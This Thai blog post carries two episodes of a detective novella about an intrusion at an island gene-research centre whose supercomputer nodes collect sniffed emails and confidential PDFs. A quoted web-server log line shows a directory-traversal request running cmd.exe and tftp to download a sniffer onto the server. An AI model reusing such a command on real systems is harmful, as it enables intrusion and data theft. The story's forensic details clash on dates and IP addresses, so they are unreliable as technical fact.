คนคอมพิวเตอร์

Archive for กรกฎาคม 2009

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

 

นิยายนักสืบตอน : ตัวดูดมะเร็ง [2]

ลาภลอย วานิชอังกูร www.laploy.com

09.00 น. อัลฟาเซคเตอร์ ศูนย์วิจัยซีสา

ชนกพรนำสุนทรและใจทิพย์ลงลิฟต์ไปยังห้องใต้ดิน สุนทรพบว่าพื้นที่ใต้ดินมีขนาดกว้างขวางกว่าที่คาดไว้มาก

“ศูนย์นี้ก็เหมือนภูเขาน้ำแข็ง ที่เห็นบนพื้นดินเป็นเพียงส่วนยอดของมัน อีกเก้าสิบเปอร์เซ็นต์ถูกฝังไว้ใต้ดิน” ชนกพรเฉลย ขณะเดินนำลึกเข้าไปตามทางเดินแคบๆ ครู่หนึ่งก็มาหยุดหน้าประตูที่มีป้ายติดไว้ว่า “อัลฟาเซคเตอร์” หล่อนกดรหัสที่แป้นพิมพ์เล็กๆ ที่ติดอยู่บนขอบประตู ยกบัตรที่ห้อยคอยกขึ้นใกล้เครื่องอ่าน แล้วประตูก็เลื่อนเปิดออก

สุนทรรู้สึกเหมือนเดินเข้าไปในตู้เย็น ห้องนั้นสว่าง ขาว และเย็น อากาศทั่วไปในศูนย์ก็ถูกปรับให้เย็นและแห้งอยู่แล้ว แต่ในห้องนี้ยิ่งเย็นและแห้งขึ้นไปอีก สุนทรรู้สึกจมูกโล่งและสมองแจ่มใสอย่างประหลาด เขามองไปรอบๆ และพบว่าตนกำลังยืนอยู่ด้านหน้าของห้องขนาดใหญ่ ด้านหน้าสุดมีแผงควบคุมที่ทำเป็นโต๊ะทำงานซึ่งมีแป้นพิมพ์และจอภาพ เลยออกไปมีโครงเหล็กเป็นชั้นสูงจากพื้นขึ้นไปเกือบถึงเพดาน ภายในมีคอมพิวเตอร์ซึ่งทำหน้าที่เป็นโหนดของซุปเปอร์คอมพิวเตอร์ตั้งเรียงรายอยู่ ชั้นเหล่านี้มีหลายแถว ทอดแนวไปตลอดความยาวของห้อง สุนทรได้เสียงเสียงหึ่งเบาๆ ห่มคลุมอยู่ในอากาศ สัตว์ยักษ์นี้มีชีวิต และนี่คือเสียงชีพจรของมันที่เต้นหลายพันล้านครั้งต่อวินาที

“ผมอยากจะขอดูไฟล์ที่ว่าหน่อยครับ” สุนทรกล่าวเมื่อนั่งลงที่แผงควบคุมตามคำเชิญ ชนกพรพยักหน้าพลางเลื่อนเมาส์แล้วกดสองสามที

“ตอนแรกดิฉันตรวจพบไฟล์นี้ในโหนด 20 ของเบตา แต่หลังจากนั้นพบว่าทุกโหนดของทุกเซคเตอร์มีไฟล์อย่างเดียวกันนี้ทั้งนั้น” ชนกพรเปิดหน้าจอแสดงรายชื่อไฟล์ที่โฟลเดอร์ c:\ สุนทรพบว่าเวลาปรับปรุงล่าสุด (time stamp) ของไฟล์คือเมื่อไม่กี่นาทีที่ผ่านมา ขณะที่กำลังจ้องมองอยู่หน้าจอก็ปรับข้อมูล ขนาดของไฟล์โตขึ้นทันที

“คุณพระช่วย! มันกำลังโตขึ้นเรื่อยๆ” ใจทิพย์อุทาน

“ผมขอใช้แผงควบคุมนี้เพื่อดำเนินการสืบสวนได้มั๊ยครับ” สุนทรถาม ชนกพรพยักหน้าอย่างเต็มใจ เขาพิมพ์คำสั่งลงบนแป้นพิมพ์อย่างรวดเร็ว

C:\>type memory.dmp | more

ข้อความตัวอักษรทะลักออกมาบนจอทันทีที่กดปุ่ม enter มันหยุดเมื่อแสดงจนเต็มหน้าจอแล้ว

From doctor-somboon@sesa.th Sat Jan 6 23:02:02 2008

From: "Doctor Somboon wattana" <doctor-somboon@sesa.th>

To: <doctor-kaufmann@sesa.ch>

Subject: Gene transplant

Date: Sat, 6 Jan 2008 23:02:02 -0700

Message-ID: <000001c12ddb$7ad3e780$0a01a8c0@cutemup>

MIME-Version: 1.0

Content-Type: multipart/alternative;

boundary="—-=_NextPart_000_0001_01C12DA0.CE781CC0"

X-Priority: 3 (Normal)

X-MSMail-Priority: Normal

X-Mailer: Microsoft Outlook, Build X.x

Importance: Normal

X-MimeOLE: Produced By Microsoft MimeOLE VX.x

Content-Type: text/plain;

charset="us-ascii"

Content-Transfer-Encoding: 7bit

Doctor Kaufmann,

The results of the tests for Mr. Bantugan’s pending transplant are

below. Due to the severity of his neuroses and general level of

confusion, I am recommending he undergo surgery within a week.

All of the relevant personal information including contact

information is included. Call me if you have any questions.

— More —

ชนกพรจ้องมองหน้าจออย่างตกตะลึงจนซึมเซา สิ่งที่เก็บอยู่ในไฟล์ memory.dmp ถึงกับเป็นอีเมลโต้ตอบกันระหว่างนายแพทย์ในศูนย์นี้กับนายแพทย์อีกคนหนึ่งในศูนย์วิจัยที่เจนิวา เมื่อสุนทรกดให้หน้าจอเลื่อนต่อไปอีก ชนกพรก็ต้องตกใจมากยิ่งขึ้น เพราะอีเมลบางอีเมลมีไฟล์แนบเป็นข้อมูลทางการแพทย์ของคนไข้ ข้อมูลจากงานวิจัย และข้อมูลอ่อนไหวอื่นๆ

“มีใครหรืออะไรบางอย่างกำลังรวบรวมอีเมลทั้งหมดมาสร้างเป็นไฟล์ชื่อ memory.dum เก็บไว้ในโหนดนี้” ใจทิพย์กล่าวสรุป ชนกพรและสุนทรพยักหน้าพร้อมกันอย่างเห็นด้วย

“ถ้าเป็นเช่นนั้นจริง ในโหนดอื่นๆ ก็คงมีไฟล์ memory.dmp ด้วย แต่คงไม่ได้เก็บอีเมลทุกโหนด เพราะข้อมูลอีเมลคงไม่มากถึงขนาดทำให้ฮาร์ดดิสก์ของทุกโหนดเต็ม ถ้าเช่นนั้นมันข้อมูลคืออะไร?” ใจทิพย์ตั้งคำถาม สุนทรป้อนคำสั่งต่อเชื่อมกับโหนดที่ 21 เมื่อตรวจสอบก็พบดัมพ์ไฟล์จริงดังที่ใจทิพย์คาดไว้จึงใช้คำสั่ง type อีกครั้ง แต่คราวนี้ได้ผลลัพธ์ที่แตกต่างออกไป

“นี่มันอะไรค่ะ ใช่ไบนารีหรือเปล่า” ชนกพรชี้ข้อมูลบนจอซึ่งเป็นตัวอักษรประหลาดทั้งหมด

“ดูเหมือนว่าจะเป็นการรวมกันของไฟล์ฟอร์เมตอะไรสักอย่าง” สุนทรพึมพำขณะเปิดโปรแกรม UlterEdit32 ขณะนี้ข้อมูลถูกแสดงเป็นเลขฐานสิบหกและสายอักขระ

“ดูนี่สิครับ” สุนทรชี้ให้ดูคำว่า PDF ที่บรรทัดหนึ่ง เมื่อเลื่อนหน้าจอไปเรื่อยๆ มีข้อมูลจำนวนมากวิ่งผ่านไป จนถึงจุดหนึ่งมีแต่ตัวอักษร FF ทั้งหมด เมื่อเลื่อนต่อไปอีกอักษร FF ก็หายไป แทนที่ด้วยข้อมูลใหม่อีกครั้ง ใจทิพย์ชี้ให้ดูตัวอักษร อี-โอ-เอฟ ซึ่งหมายถึงจุดสิ้นสุดของแฟ้มข้อมูล

“แสดงว่านี่เป็นการอัดรวมตัวกันของแฟ้ม PDF หลายๆ แฟ้มใช่ไหมค่ะ?” ชนกพรมองออกทันที

“ในศูนย์นี้มีการใช้ PDF ไหมครับ”

“ใช้กันมากค่ะ ข้อมูลงานวิจัยเกือบทั้งหมดถูกจัดเก็บไว้ในรูปแบบนี้”

สุนทรพยักหน้า แต่ไม่ได้พูดอะไร เขากำลังใช้เมาส์ลากคลุมข้อมูลบางส่วน นำมาสร้างเป็นไฟล์ใหม่ แล้วบันทึกไว้โดยใช้ชื่อว่า temp.pdf จากนั้นดับเบิ้ลคลิกที่ไอคอนของไฟล์ โปรแกรมอ่านแฟ้มข้อมูล PDF เปิดขึ้นเองโดยอัตโนมัติทันที

Subject : Somatic cell nuclear transfer

Research No : DS002/162

Date : February 15, 2007

Category : class 3

Team leader : Dr. Sunanta Kanjanlack

ชนกพรมองหน้าจอด้วยความพรั่นพรึง โปรแกรมอ่าน PDF กำลังแสดงใบปะหน้าของแฟ้มข้อมูล มันคือรายงานการวิจัยที่มีขั้นความลับสูงสุด ข้อมูลนี้หากรั่วไหลอาจสร้างความเสียหายให้แก่ซีสาอย่างร้ายแรง

“ไฟล์พวกนี้โตขึ้นอยู่ตลอดเวลา แสดงว่ายังมีงานบางอย่างวิ่งอยู่หลังฉาก กำลังรวบรวมข้อมูลมาบันทึกไว้” ใจทิพย์ตั้งข้อสังเกต สุนทรใช้เวลายี่สิบนาทีต่อมาตรวจสอบโหนดทุกโหนด เมื่อตรวจเสร็จแล้วเขาจึงหันไปพูดกับชนกพร

“ผมพบว่าทุกเครื่องมีไฟล์ memory.dmp ยกเว้นโหนด 0 ผมจะเปิดโปรแกรม Task Manager เพื่อดูโหนด 0 กับโหนด 1 เปรียบเทียบกัน” สุนทรเปิดกรอบหน้าต่างขึ้นบนจอภาพสองจอ ผลการเปรียบเทียบพบว่ารายชื่อโปรแกรมทั้งหมดตรงกัน ยกเว้นโหนด 1 มีโปรแกรมชื่อ datdump.exe เพิ่มขึ้น สุนทรค้นดูในฮาร์ดดิสก์ของโหนด 1 พบว่าไฟล์นี้อยู่ในโฟลเดอร์ c:\inetpub\scripts

“นี่ไง! ไฟล์ที่เป็นตัวการ” ใจทิพย์ร้อง หล่อนและชนกพรใช้เวลาหนึ่งชั่วโมงต่อมาค้นหาไฟล์ datdump.exe ในโหนดแต่ละโหนดของทุกๆ เซคเตอร์ แล้วไล่ลบทิ้งที่ละตัว พร้อมกับลบไฟล์ memory.dmp ด้วย แถบข้อความเตือนสีแดงที่แผงแสดงสถานะเริ่มดับลงทีละจุด จนในที่สุดทุกอย่างก็กลับสู่สภาพปรกติ

“โหนดเหล่านี้ถูกทำให้กลายเป็นตัวรวบรวมข้อมูลสำหรับแฮกเกอร์ไปได้ยังไงค่ะ?” ชนกพรหันไปถามสุนทรซึ่งกำลังทำงานอยู่ในอีกสถานีงานหนึ่ง

“เมื่อพิจารณาจากโทโปโลยีแล้ว ผมพบว่าคลัสเตอร์ทั้งสามอยู่ใน DMZ เดียวกันกับเครื่องแม่ข่ายที่ให้บริการเว็บ (web server) ซึ่งมีโปรโตคอล tftp เปิดอยู่ จึงเป็นเรื่องง่ายที่แฮกเกอร์มืดจะอาศัยช่องโหว่นี้ติดตั้งโปรแกรมลอบดูแพกเก็ต (packet sniffer)และเนื่องจากอีเมลที่ใช้ไม่ได้เข้ารหัส ข่าวสารต่างๆ จึงถูกสกัดไว้โดยง่าย”

“แฮกเกอร์มืดใช้โปรแกรมอะไรในการบันทึกข้อมูลค่ะ?” ใจทิพย์ถาม

“ผมนำไฟล์ datdump.exe มาวิเคราะห์ดูแล้ว พบว่ามันมีรหัสคล้ายโปรแกรม mailsnarf ซึ่งอยู่ในชุดโปรแกรม Dug Song’s Dsniff เป็นเครื่องมือสำหรับทดสอบการรุกล้ำเครือข่าย แฮกเกอร์มืดรายนี้คงนำ mailsnarf มาดัดแปลงเพื่อ เพราะนอกจากจะสามารถดักข้อความในอีเมลได้แล้ว ยังสามารถดักไฟล์ข้อมูลต่างๆ ที่นักวิจัยเปิดอ่านหรือจัดเก็บในศูนย์ข้อมูล (data achieve) ได้อีกด้วย”

“โปรแกรมนี้ถูกแฮกเกอร์นำมาติดตั้งไว้เมื่อไหร่ค่ะ?” ชนกพรถาม คราวนี้สุนทรไม่ตอบ แต่เขาหันไปเปิดไฟล์ memory.dmp ที่ถูกเก็บไว้ก่อนลบ แล้วพิมพ์คำสั่งที่คอมมานด์ไลน์

C:\>type memory.dmp |more

From doctor-somboon@sesa.th Sat Jan 6 23:02:02 2008

“การตรวจสอบช่วงเวลาเริ่มต้นการโจมตีทำได้จากสองแหล่ง ที่แรกคือวันที่ของอีเมลในไฟล์ memory.dmp นี้ซึ่งมี time stamp เก่าที่สุด ดูจากหัวของอีเมลจะเห็นว่าเป็นอีเมลที่ส่งเมื่อสามวันก่อน ต่อไปเราจะดู time stamp ของตัวไฟล์ datdump.exe” สุนทรพูดจบก็หันไปพิมพ์คำสั่ง dir เพื่อแสดงรายชื่อไฟล์

Directory of C:\inetpub\scripts

01/06/2001 06:53p <DIR> .

01/26/2001 06:53p <DIR> ..

01/06/2000 10:06p 102,400 datdump.exe

“จะเห็นว่าข้อมูลสองอย่างนี้ชี้ไปที่คำตอบเดียวกัน แฮกเกอร์มืดเริ่มโจมตีตอนสี่ทุ่มของวันที่หกมกราคมหรือเมื่อสามวันล่วงมาแล้ว”

“เรามีทางที่จะตรวจสอบได้ไหมค่ะว่า แฮกเกอร์เจาะระบบเข้ามาด้วยวิธีการได้ และจากไหน?”

“ได้อย่างแน่นอนถ้าคุณมีปูม (log file) ของแม่ข่ายในวันนั้น” สุนทรตอบ ชนกพรพยักหน้าพลางหันไปป้อนพิมพ์คำทันใดนั้นข้อมูลในปูมของแม่ข่ายเริ่มไหลเรื่อยออกมาบนจอภาพ

“หยุดตรงนั้นค่ะ” ใจทิพย์ร้อง ชี้ไปที่ข้อมูลวันที่หก เวลาตีห้า

#Software: Microsoft Internet Information Services 5.0

#Version: 1.0

#Date: 2001-01-06 05:56:46

#Fields: date time c-ip cs-username s-ip s-port cs-method cs-uri-st

em cs-uri-query sc-status cs(User-Agent)

2001-08-26 06:06:18 192.168.1.100 – 172.16.10.21 80 GET /scripts/de

po.bat/..\..\..\winnt/system32/cmd.exe /c%20tftp.exe%20-I%20192.168

.1.100%20get%20mailsnarf.exe%20c:\inetpub\scripts\mailsnarf.exe 502

Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0)

“ตาแหลมมากครับใจทิพย์” สุนทรพูดพลางชี้ที่ข้อมูลบนจอ “แฮกเกอร์เข้าตีจุดอ่อนของระบบ มันอาศัยเอเยนเพื่อรันโปรแกรมจากระยะไกล (remote code execution vulnerability) “ เขาชี้ที่บรรทัดหนึ่ง “ตรงนี้บอกให้รู้ว่าแฮกเกอร์มืดมีไอพี 172.16.10.21 มันใช้โปรโตคอล tftp เพื่อคัดลอกโปรแกรมมาใส่ไว้ที่แม่ข่าย” เมื่อสุนทรตรวจสอบแฟ้มปูมต่อไปอีกก็พบว่ามีบันทึกการกลับเข้ามาของ 172.16.10.21 เพื่ออ่านไฟล์ memory.dmp ในโหนดต่างๆ หลายครั้งระหว่างสามวันถัดมา

 

16.00 น. ลานจอดเฮลิคอปเตอร์ ศูนย์วิจัยซีสา

ใจทิพย์ และสุนทรกำลังยืนอยู่ที่ลานจอดเฮลิคอปเตอร์เพื่อเตรียมตัวเดินทางกลับ ลมจากใบพัดช่วยบรรเทาความร้อนจากแสงแดดยามบ่ายและความชื้นจากทะเล หนึ่งชั่วโมงก่อนหน้านี้สุนทรนั่งคุยกับพนักงานระดับบริหารศูนย์คอมพิวเตอร์ เขาแนะนำให้แยกแม่ข่ายเว็บออกจาก DMZ ของซุปเปอร์คอมพิวเตอร์

“มีทางยกระดับความปลอดภัยอื่นๆ อีกไหมครับ?” วิทยา ผู้อำนวยการศูนย์คอมพิวเตอร์ถาม

“มีครับ ผมเข้าใจว่าหน้าเว็บที่เป็นสาธารณะเป็นสเตติกทั้งหมด จึงควรบันทึกและให้อ่านจากแผ่นซีดี” สุนทรอธิบาย “การทำเช่นนั้นจะทำให้แฮกเกอร์เข้ามาสร้างประตูลับในหน้าเว็บไม่ได้ การกำหนดค่าของไฟร์วอล ควรจะเพิ่มความรัดกุมให้มากกว่านี้ โดยตัดโปรโตคอลที่ไม่ได้ใช้ออกให้หมด และตั้งสัญญาณเตือนเมื่อมีการเชื่อมต่อในลักษณะที่ผิดปรกติ”

“เราควรปรับปรุงแม่ข่ายอย่างไรค่ะ?” กาญจนา ผู้จัดการศูนย์ฯ ถาม

“ควรปรับปรุงระบบปฏิบัติการด้วย เซอร์วิสเพ็ค ให้ครบถ้วน ไฟล์บางไฟล์ที่ไม่ได้ใช้ เช่น ftfp.exe และ cmd.exe หากลบทิ้งไปเสียจะทำให้แฮกเกอร์มืดโจมตีได้ยากขึ้น และดูให้แน่ใจว่าเครื่องแม่ข่ายมีเฉพาะเซอร์วิสที่จำเป็นต้องใช้จริงๆ ทำงานอยู่”

“คดีนี้ถือว่าประสบความสำเร็จด้วยดีนะคะ” ใจทิพย์เปรยขณะเครื่องบินปีกหมุนยกตัวขึ้นสู่ท้องฟ้า

“จริงครับ แต่คุณบอกผมหน่อยได้ไหมว่านั่นคืออะไร” สุนทรชี้ออกไปนอกหน้าต่าง ใจทิพย์ชะเง้อตาม อาคารของซีสาที่มีขนาดเล็กลงและเลื่อนห่างออกไป ศูนย์คอมพิวเตอร์เป็นทรงกลมเห็นชัดจากบนอากาศ แล้วใจทิพย์ก็ขนลุกซู่เมื่อมองเห็นสัญลักษณ์บนยอดของวงกลม มันคือตัววีหงายและตัววีคว่ำซ้อนกัน

นิยายนักสืบตอน : แฮกเกอร์มืด ปล้นเหนือเมฆ
นิยายนักสืบตอน : DNS Pinning
นิยายนักสืบตอน : วิชามาร Social Engineering
นิยายนักสืบตอน : Hackarmy-A

 

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

นิยายนักสืบตอน : ตัวดูดมะเร็ง [1]

ลาภลอย วานิชอังกูร www.laploy.com

23:00 น. แผนกคอมพิวเตอร์ ศูนย์วิจัยซีสา

ชนกพรกำลังตรวจสอบโค้ดคำสั่งขณะได้ยินเสียงผิดปรกติ หล่อนเหลียวมองออกไปนอกหน้าต่าง ท้องฟ้ามีดาวให้เห็นเพียงไม่กี่ดวงเพราะเป็นคืนเดือนเพ็ญ เลยหมู่ไม้ออกไปเห็นท้องทะเลดำมืด แสงจันทร์สะท้อนยอดคลื่นระยิบระยับ หล่อนละสายตาจากหน้าต่างกลับมามองสำรวจในห้อง ศูนย์คอมพิวเตอร์ขณะนี้ว่างเปล่า เจ้าหน้าที่ทั้งหมดออกเวรไปแล้ว ห้องโถงค่อนข้างมืด ตามไฟไว้เพียงบางจุด

ชนกพรได้ยินเสียงสัญญาณเตือนที่ดังเป็นจังหวะเบาๆ คืนนี้เป็นเวรของหล่อนที่ต้องเฝ้าศูนย์ฯ หล่อนฆ่าเวลาโดยนำซอร์สโค้ดของเว็บแอพลิเกชันที่กำลังพัฒนาอยู่ มาตรวจสอบเพื่อหาทางเพิ่มประสิทธิภาพ ใจกลางของห้อง มีจอภาพขนาดใหญ่หกจอกำลังแสดงสถานะของระบบคอมพิวเตอร์ ปรกติตัวเลขทั้งหมดจะเป็นสีเขียว แต่บัดนี้มีแถบสีแดงเล็กๆ กระพริบอยู่ หล่อนลุกขึ้นจากโต๊ะทำงานเดินไปดูด้วยความประหลาดใจ

 

Beta Node20 : main storage critical

 

ชนกพรเข้าใจความหมายของข้อความเตือนทันที่ เกิดความผิดปรกติบางอย่างกับฮาร์ดดิสก์ของคอมพิวเตอร์ตัวที่ยี่สิบในโหนดเบตา หล่อนทรุดตัวลงนั่งที่แผงควบคุมหลัก เมื่อป้อนพิมพ์คำสั่งเรียกดูสถานะของไดร์ฟก็พบว่า พื้นที่ว่างกำลังจะหมดลง หล่อนจ้องมองหน้าจออย่างไม่เชื่อสายตา จำได้ว่าตอนตรวจสอบครั้งสุดท้ายเมื่อสี่วันก่อนซีพียู แรม และฮาร์ดดิสก์ถูกใช้ไปเพียงร้อยละห้าของความจุทั้งหมดเท่านั้น โหนดทั้งหมดล้วนมีฮาร์ดดิสก์ขนาดใหญ่ ความจุเหลือเฟือ และมีซอฟต์แวร์ “ปรับความสมดุลของภาระ” (load balance) ที่คอยทำหน้าที่ดูแลไม่ให้โหนดใดทำงานมากหรือน้อยกว่าโหนดอื่นๆ

หญิงสาวอยากรู้ว่าอะไรกินเนื้อที่ในฮาร์ดดิสก์มากเช่นนั้น หล่อนจึงป้อนคำสั่งให้แสดงไฟล์ทั้งหมดที่มีขนาดโตกว่า 1 GB คอมพิวเตอร์ใช้เวลาสแกนเพียงอึดใจก็แสดงรายชื่อไฟล์ออกมา หล่อนเพียงชำเลืองมองก็พบต้นเหตุทันที มีไฟล์ชื่อ memory.dmp ขนาดใหญ่ถึง 30GB ซึ่งผิดปรกติอย่างยิ่ง เพราะไฟล์นี้เป็นไฟล์ที่เก็บข้อมูลจากแรมเมื่อระบบมีปัญหา แต่โหนดต่างๆ ในเบตา มีแรมเพียง 1GB ไฟล์ดัมพ์ข้อมูลจึงไม่น่าจะโตเกิน 1GB สิ่งผิดปรกติอีกอย่างคือ memory.dmp ควรอยู่ในโฟลเดอร์ c:\winnt แต่ไฟล์ที่ตรวจพบนี้กลับอยู่ในโฟลเดอร์รากของฮาร์ดดิสก์

นิ้วมือไวเท่าความคิด ชนกพรคลิกเมาส์เปิดหน้า Startup and Recovery ขึ้นตรวจสอบ แต่แล้วก็ต้องยิ่งประหลาดใจมากขึ้นไปอีก เมื่อพบว่าโหนดนั้นไม่ได้ถูกกำหนดค่าให้บันทึกไฟล์ดัมพ์ข้อมูล เมื่อมองดูวันเวลาของไฟล์ (time stamp) ก็พบว่ามันเพิ่งถูกอัพเดตเมื่อไม่กี่นาทีที่ผ่านมา หล่อนเริ่มรู้สึกกลัว และสงสัยว่า memory.dmp เก็บอะไรไว้ ขณะที่หล่อนกำลังค้นหายูทิลิตีเพื่อเปิดไฟล์ออกดู สัญญาณเตือนที่สองก็ดังขึ้น

แล้วทันใดนั้นศูนย์คอมพิวเตอร์ก็เหมือนยักษ์ที่ถูกปลุกให้พื้นขึ้นจากการหลับใหล สัญญาณเตือนจำนวนมากดังระงมจนแยกไม่ออกว่าอะไรเป็นอะไร ชนกพรมองอย่างตกตะลึงไปที่กลางห้อง แถบข้อมูลที่เคยเป็นสีเขียว บัดนี้กำลังเปลี่ยนเป็นแถบสีแดงทีละตัวๆ จนเกลื่อนไปหมดทั้งแผง และพวกมันกำลังกระพริบอย่างคลุ้มคลั่ง!

 

06.30 น. ท้องฟ้าเหนืออ่าวไทย

ใบพัดของเฮลิคอปเตอร์ควงตัดอากาศเย็นยะเยือกยามรุ่งสาง อากาศยานดูมีขนาดเล็กจิ๋วปราศจากความสำคัญโดยสิ้นเชิง เมื่อเทียบกับฉากหลังซึ่งเป็นท้องฟ้าและผืนน้ำสีเทากว้างใหญ่สุดสายตา ภายในเครื่องบินนักสืบสุนทรกำลังเหม่อมองออกไปนอกหน้าต่าง ทิวทัศน์เบื้องล่างไม่มีอะไรนอกจากผืนน้ำ นานๆ จะเห็นเรือหาปลาลำหนึ่งแต่ก็ลับตาไปอย่างรวดเร็ว ท้องฟ้าเหนือหัวดูไร้สีสัน แต่ทางทิศตะวันออกแสงเงินแสงทองเริ่มจับขอบฟ้า

นักสืบหันกลับมามองภายในห้องผู้โดยสารซึ่งดูว่างเปล่า เฮลิคอปเตอร์เบล รุ่น 412 ถูกออกแบบมาให้บรรทุกผู้โดยสารได้มากถึงสิบห้าคน แต่ขณะนี้มีเพียงเขากับใจทิพย์เท่านั้น ดูเหมือนหล่อนจะไม่รับรู้ว่าเขากำลังจ้องมอง หล่อนนั่งอยู่ริมหน้าต่างของที่นั่งอีกฝากหนึ่ง เรือนร่างบอบบางอยู่ในสูทกางเกงสีกรมท่า ดวงตาโตหลังแว่นกรอบบางกวาดอยู่บนหน้ากระดาษของนิตยสาร ด็อกเตอร์ ดอบส์ เจอนัล ราวกับทิวทัศน์นอกหน้าต่างไม่มีสิ่งใดควรค่าแก่การสนใจ

สุนทรละสายตากลับไปมองดูวิวภายนอกอีกครั้ง บัดนี้ทิวทัศน์เบื้องล่างเปลี่ยนเป็นพื้นดิน แดดอ่อนๆ เริ่มห่มคลุมไปทั่วประเทศ ทำให้เห็นรายละเอียดบนพื้นได้ชัดเจน หลังคาอุโบสถสีส้ม พระออกบิณฑบาต เดินอยู่บนถนนลูกโรยกรวด หมู่บ้าน สนามฟุตบอลที่ร้างคน โรงเรียน อาคารของราชการ ทางหลวง ป่าละเมาะ บางที่ก็มีภูเขาเตี้ยๆ ทั้งหมดเลื่อนผ่านคลองจักษุไปอย่างรวดเร็วดุจความฝัน

ครู่ต่อมาเครื่องบินปีกหมุนเอียงตัวเปลี่ยนทิศทาง สุนทรมองออกไปนอกหน้าต่าง ภาพที่เห็นดูน่าพรั่นพรึง พื้นดินที่ปรกติอยู่ในแนวระนาบ บัดนี้กำลังเทขึ้น เหมือนมีมือยักษ์ที่มองไม่เห็นจับโลกกดจนเอียงกระเท่เร่ เขารู้สึกถึงแรงเฉื่อยที่ดันร่างเข้ากับประตูเครื่องบิน แม้จะรู้ว่านี่คือการบินตามปรกติของเฮลิคอปเตอร์ แต่ภาพที่เห็นบวกกับแรงเหวี่ยงทำให้เขาอดขวัญบินไม่ได้ เขาได้เสียงใจทิพย์สะอึกอากาศ เมื่อหันไปดูก็พบว่าหล่อนหยุดอ่านหนังสือแล้ว มีท่าทางตกใจและมองไปรอบๆ ทันใดนั้นทิวทัศน์เบื้องล่างก็กลายเป็นท้องทะเลอีกครั้ง สุนทรเห็นเรือหาปลากำลังบ่ายหน้ากลับสู่ฝั่ง และเห็นเกาะหลายเกาะอยู่ไกลๆ

ในที่สุดเฮลิคอปเตอร์ก็ลดความเร็วลง มันกำลังบินอยู่เหนือเกาะขนาดเล็ก รูปร่างเหมือนน้ำเต้า บริเวณชายหาดบางตอนเป็นหาดทรายขาวสะอาด บางตอนก็เป็นโขดหิน ด้านทิศตะวันตกของเกาะเป็นหน้าผาสูงชัน บริเวณโดยรอบน้ำตื้นและใสจนเห็นแนวปะการัง สุนทรมองไม่เห็นสิ่งปลูกสร้างใดๆ ยกเว้นใจกลางเกาะ มีกลุ่มอาคารรูปร่างแปลกประหลาด อาคารหลังหนึ่งเป็นทรงโดม เหมือนใครเอาลูกบอลขนาดยักษ์มาฝังไว้ในดิน อาคารอีกหลังหนึ่งรูปร่างเหมือนปิรามิด สูงเท่าตึกสิบชั้น มีโครงสร้างเป็นตาข่ายสีขาว ผนังกรุด้วยกระจกทั้งหมด มันเชื่อมกับอาคารบริวารอีกหลายหลังที่มีรูปทรงแปลกตาพอๆ กัน อาคารหลังหนึ่งดูเหมือนจะมีหอคอยหรือหอดูดาวอยู่บนยอด กลุ่มอาคารเหล่านี้มีสีขาว แต่แสงอาทิตย์ยามเช้าทำให้มันเรืองรองราวกับดาดด้วยทอง

เฮลิคอปเตอร์ลงจอดอย่างนุ่มนวลที่ลาดจอด บริเวณโดยรอบเป็นสนามหญ้าไปจนจรดชายป่า สุนทรพยุงหญิงสาวเพื่อก้าวลงจากเครื่องบินเมื่อนักบินเปิดประตู เรือนผมของหล่อนปลิวไสวตามแรงลมจากใบพัด สุนทรสังเกตว่าถัดไปเป็นลานจอดที่คล้ายกันอีกสี่ลาน ลานที่อยู่ไกลสุดมีเฮลิคอปเตอร์เหมือนลำที่เขาโดยสารมา กำลังติดเครื่องเพื่อเตรียมออกเดินทาง นักบินชี้ไปยังรถที่จอดอยู่ และพูดอะไรบางอย่างแต่ถูกกลบด้วยเสียงเครื่องยนต์และเสียงลม เขาจึงบุ้ยใบ้ให้สุนทรและหญิงสาวเดินไปยังรถคันนั้น

รถเคลื่อนไปโดยปราศจากเสียง นักสืบไม่ได้ยินอะไรเลยนอกจากเสียงคลื่นและเสียงนกนางนวลแว่วมาจากชายทะเล เขาเข้าใจทันที่ว่ามันขับเคลื่อนด้วยอำนาจไฟฟ้า อากาศตอนเช้าไหลผ่านเข้ามาในรถที่เปิดกระจกไว้ทุกบาน มันอุ่นชื้นและมีกลิ่นทะเล เมื่อรถยนต์หยุดลงหน้าอาคารอำนวยการ สุนทรเห็นสุภาพสตรีคนหนึ่งยืนรออยู่

 

07.25 น. ศูนย์วิจัยซีสา เกาะกระดาน

“ศูนย์วิจัยซีสาทำวิจัยเกี่ยวกับอะไรคะ?” ใจทิพย์ถามขึ้นขณะเราเดินไปตามทางเดินที่เชื่อมระหว่างอาคาร

“วิจัยเรื่องการบำบัดทางยีนค่ะ” ชนกพรชี้ไปยังอาคารหลังหนึ่ง “เห็นอาคารนั้นไหมค่ะ นั่นคืออาคารที่พักของผู้ป่วย คนเหล่านี้มาจากทุกมุมโลก ป่วยเป็นมะเร็งระยะสุดท้ายที่หมดทางรักษาแล้ว ที่ศูนย์นี้เราจะนำเซลมะเร็งจากผู้ป่วยเป็นมาวิจัยเพื่อหาวิธีรักษาแบบพิเศษเป็นรายๆ ไป”

“เป็นการรักษาโดยการเปลี่ยนแปลงยีนหรือครับ?” สุนทรถามพลางมองดูตึกที่หันหน้ารับลมทะเล

“ใช่คะ เราพบว่ามะเร็งเหล่านี้ เกิดจากการกระตุ้นที่ไม่ได้มาจากธรรมชาติ คือความผิดปรกติที่เรียกว่าการกลายพันธุ์” ชนกพรตอบ ขณะพาทั้งสามเข้าไปในอาคารปิระมิด

“ถ้าอย่างนั้นศูนย์นี้ก็มีข้อมูลวิจัยที่มีค่าเก็บไว้มากมายเลยสิครับ” สุนทรถาม

“ถูกต้องแล้วค่ะ” ชนกพรพยักหน้า “เรากำลังดำเนินงานวิจัยเกี่ยวกับยีน โครมโซม และโพลีเปปไตด์ จำนวนหลายร้อยโครงการ ข้อมูลงานวิจัยเหล่านี้คือสินทรัพย์อันมีค่าที่สุดของเรา” เมื่อพูดถึงตอนนี้ทั้งสามเดินผ่านห้องทดลอง ภายในมีอุปกรณ์วิทยาศาสตร์จำนวนมาก ห้องทดลองขณะนี้ร้างคน สุนทรเห็นหุ่นยนต์สีเหลืองกำลังทำงานอยู่อย่างเงียบๆ ตามลำพัง ชนกพรนำชมส่วนต่างๆ ของศูนย์วิจัยอยู่ครู่หนึ่ง จากนั้นจึงนำทั้งสองไปยังอาคารรูปโดมที่อยู่หางออกไปทางทิศใต้

 

